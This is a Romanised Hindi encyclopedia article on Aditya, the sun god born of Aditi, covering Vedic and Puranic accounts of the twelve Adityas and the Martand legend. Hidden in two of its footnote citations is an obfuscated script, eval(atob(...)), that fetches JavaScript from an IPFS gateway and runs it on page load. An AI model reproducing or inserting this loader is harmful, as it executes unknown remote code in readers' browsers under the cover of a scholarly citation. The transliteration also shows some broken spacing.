आदित्य देवता
adity devata
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| parichay | bhagavan soory dev ka hi ek any nam 'adity' hai. mata aditi ke garbh se janm lene ke karan hi inaka nam adity p da tha. |
| any nam | kashyap, martand |
| pita | kashyap |
| mata | aditi |
| patni | vishvakarma ki putri sanjna |
| vahan | sat gho doan ka rath |
| sanbandhit lekh | kashyap, aditi, yamaraj, yamuna |
| any janakari | daity tatha rakshas aditi ke putroan se eershya rakhate the, isilie unaka sadaiv devataoan se sangharsh hota rahata tha. aditi ki prarthana par soory dev ne aditi ke garbh se janm liya aur sabhi asuroan ko bhasm kar diya. |
adity soory dev ka hi ek any nam hai. mata aditi ke garbh se janm lene ke karan inaka nam adity p da tha. is shabd ke arth haian- soory, samast devata, sooryadhishthit gagan, soory ka tejomandal, adityamandalaantargat hiranyavarn paramapuroosh vishnu, dakshin aur uttar path mean eeshvar dvara niyukt dhoomadi evan archiradi abhimani devagan, arkavriksh, soory ke putr, iandr, vaman, vasu, vishvedeva tatha tomar, lila adi barah matraoan ke chhand. vishvadev varun, shiv aur vishnu ke lie bhi adity nam ka prayog kiya jata hai.[1] daity tatha rakshas aditi ke devata putroan se eershya rakhate the, isilie unaka sadaiv devataoan se sangharsh hota rahata tha. aditi ki prarthana par soory dev ne aditi ke garbh se janm liya aur sabhi asuroan ko bhasm kar diya.
kashyap tatha daksh kanyaean
brahma ke marichi namak putr the, jinake putr ka nam kashyap tha. kashyap ka vivah daksh ki terah kanyaoan se hua tha. pratyek kanya se vishisht varg ki santati huee. udaharan ke lie aditi ne devataoan ko janm diya tatha diti ne daityoan ko. isi prakar danu se danav; vinata se garu d aur arun; kadroo se nag, muni tatha gandharv; ravasa se yaksh aur rakshas; krodh se kulyaean; arishta se apsaraean; ira se airavat hathi; shyeni se shyen tatha bhas, shuk adi pakshi utpann hue.
rrigved ke anusar
rrigved[2] mean chhah adity batae ge haian-mitr, aryaman, bhag, varun, daksh tatha aansh. pun: rrigved[3] mean adityoan ki sankhya sat kahi gee hai parantu jahaan inaka namollekh nahian hai. rrigved[4] tatha shatapath brahman (6-1-28) mean aditi ke athavean putr ka nam martand diya gaya hai. atharvaved[5] mean aditi ke dhatri, iandr, visvasvan, mitr, varoon tatha aryaman ityadi aditi ke ath putr batae ge haian. shatapath brahman[6] mean 12adity haian jo kramash: 12 mahinoan ke nirdeshak mane jate haian. rrigved mean soory ko adity kaha gaya hai. at: soory satavaan aur martand athavaan adity hai. gay adityoan ki bahan hai.[7]rrigved (7-85-4) tatha maitrayani sanhita[8] mean iandr ko adityoan mean se ek kaha gaya hai parantu shatapath brahman[9] mean iandr barah adityoan se alag hai. adity ka ullekh vasu, rudr, marut, aangiras, rritu tatha vishvedev adi devataoan ke sath kee sthanoan par hua hai, phir bhi vah samast devataoan ka samany nam hai.[10]
aditi ki prarthana
daity, danav aur rakshas vimata (aditi) putr devataoan se eershya ko anubhav karate the. at: un logoan ka paraspar sangharsh hota rahata tha. ek bar varshoan tak parasparik yuddh ke uparaant devata parajit ho gaye. aditi ne dukhi hokar soory ki aradhana ki. soory ne sahastr aanshoan sahit aditi ke garbh se janm lekar asuroan ko parast kar devataoan ko trilok ka rajy pun: dilane ka ashvasan diya. aditi garbhakal mean bhi pooja-path aur vrat mean lagi rahati thi. ek bar kashyap ne rusht hokar kaha-'yah vrat rakhakar tum garbhasth aande ko mar dalana chahati ho kya?' is karan se soory 'martand' kahalaye. taittiriy brahman[11] mean katha milati hai ki aditi ne brahmadev ko uddeshit kar chaval pakaya taki usaki kokh se sadhyadev utpann hoan. ahuti dekar bacha hua chaval usane khaya jisase dhatri evan aryaman do ju davaan putr hue . doosari bar mitr tatha varun, tisari bar aansh evan bhag aur chauthi bar iandr evan vivasvan hue . yahian kaha gaya hai ki aditi ke 12 putr hi dvadashadity ya sadhy namak dev haian. aitarey brahman tatha any brahmanoan mean adity ki utpatti samaved se bhi bataee gee hai. puranoan mean adity kashyap tatha aditi ke putr haian.
asuroan ka nash
'kalaantar mean soory ne aditi ki kokh se janm liya, is karan se unaka ek nam 'adity' bhi p d gaya.' soory ki kroor drishti ke tej se dagdh hokar asur bhasm ho gaye. devataoan ko unaka khoya hua rajy pun: prapt ho gaya. vishvakarma ne prasann hokar apani putri sanjna ka vivah soory (vivasvan) se kar diya.[12]
adityagan
devamata aditi aur kashyap ke putroan ko 'adityagan' kaha jata hai, jo pahale chakshush manvantar mean baikuanth namak sadhyagan hue the.[13] vaivasvat manvantar ane par aditi dvara aradhit adityoan ne ekamat hokar kaha- 'ham yogabal se adhe tej vale hokar isi ke putr haian'.[14] adityagan pratham treta yugaranbh ke vaivasvat kal ke devata haian, jinhean 'jayadev' kaha jata hai.[15] chakshush yug mean barah adityaganoan ko 'tushitagan' kahate the.[16] in barah adityoan ke nam is prakar haian-
- indr
- dhatri
- bhag
- tvashta
- mitr
- varun
- aryamanh
- vivasvath
- savitri
- pooshanh
- aanshumath
- vishnu[17]
- vayupuran mean inhean pratham marudganoan mean se ek bataya gaya hai, ye sab bhuvalok ke nivasi haian.[18]
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tika tippani aur sandarbh
- ↑ mahabharat, anushasanaparv.
- ↑ 2-27-1
- ↑ 9-114-3
- ↑ 10-72-8-9
- ↑ 8-9-21
- ↑ 11-6-3-8
- ↑ rri. 8-10-1-15
- ↑ 2-1-12
- ↑ 11-6-3-5
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 368 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 1-1-9-1
- ↑ vaivasvat manu ma. pu., 99-102
- ↑ pauranik kosh |prakashak: jnanamandal limited, varanasi |sanpadan: rana prasad sharma |prishth sankhya: 44 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ brahmaandapuran 2.38.3; 3.1.61; 3.57.61; 67-8; 4.34; matsyapuran 171.55; vayupuran 30.83,99, 1,187, 268; vishnupuran 1.15-128-131
- ↑ bhagavatapuran 8.13.4; 6.7.2; 10.17; matsyapuran 9.29
- ↑ vayupuran 67.44; matsyapuran 6.3; vishnupuran 1.15.134
- ↑ bhagavatapuran 12.11.30-45; brahmaandapuran 2.24.33-4, 75; matsyapuran 132.3; 247.10; vishnupuran 1.15.13.-3
- ↑ vayupuran 101.30
sanbandhit lekh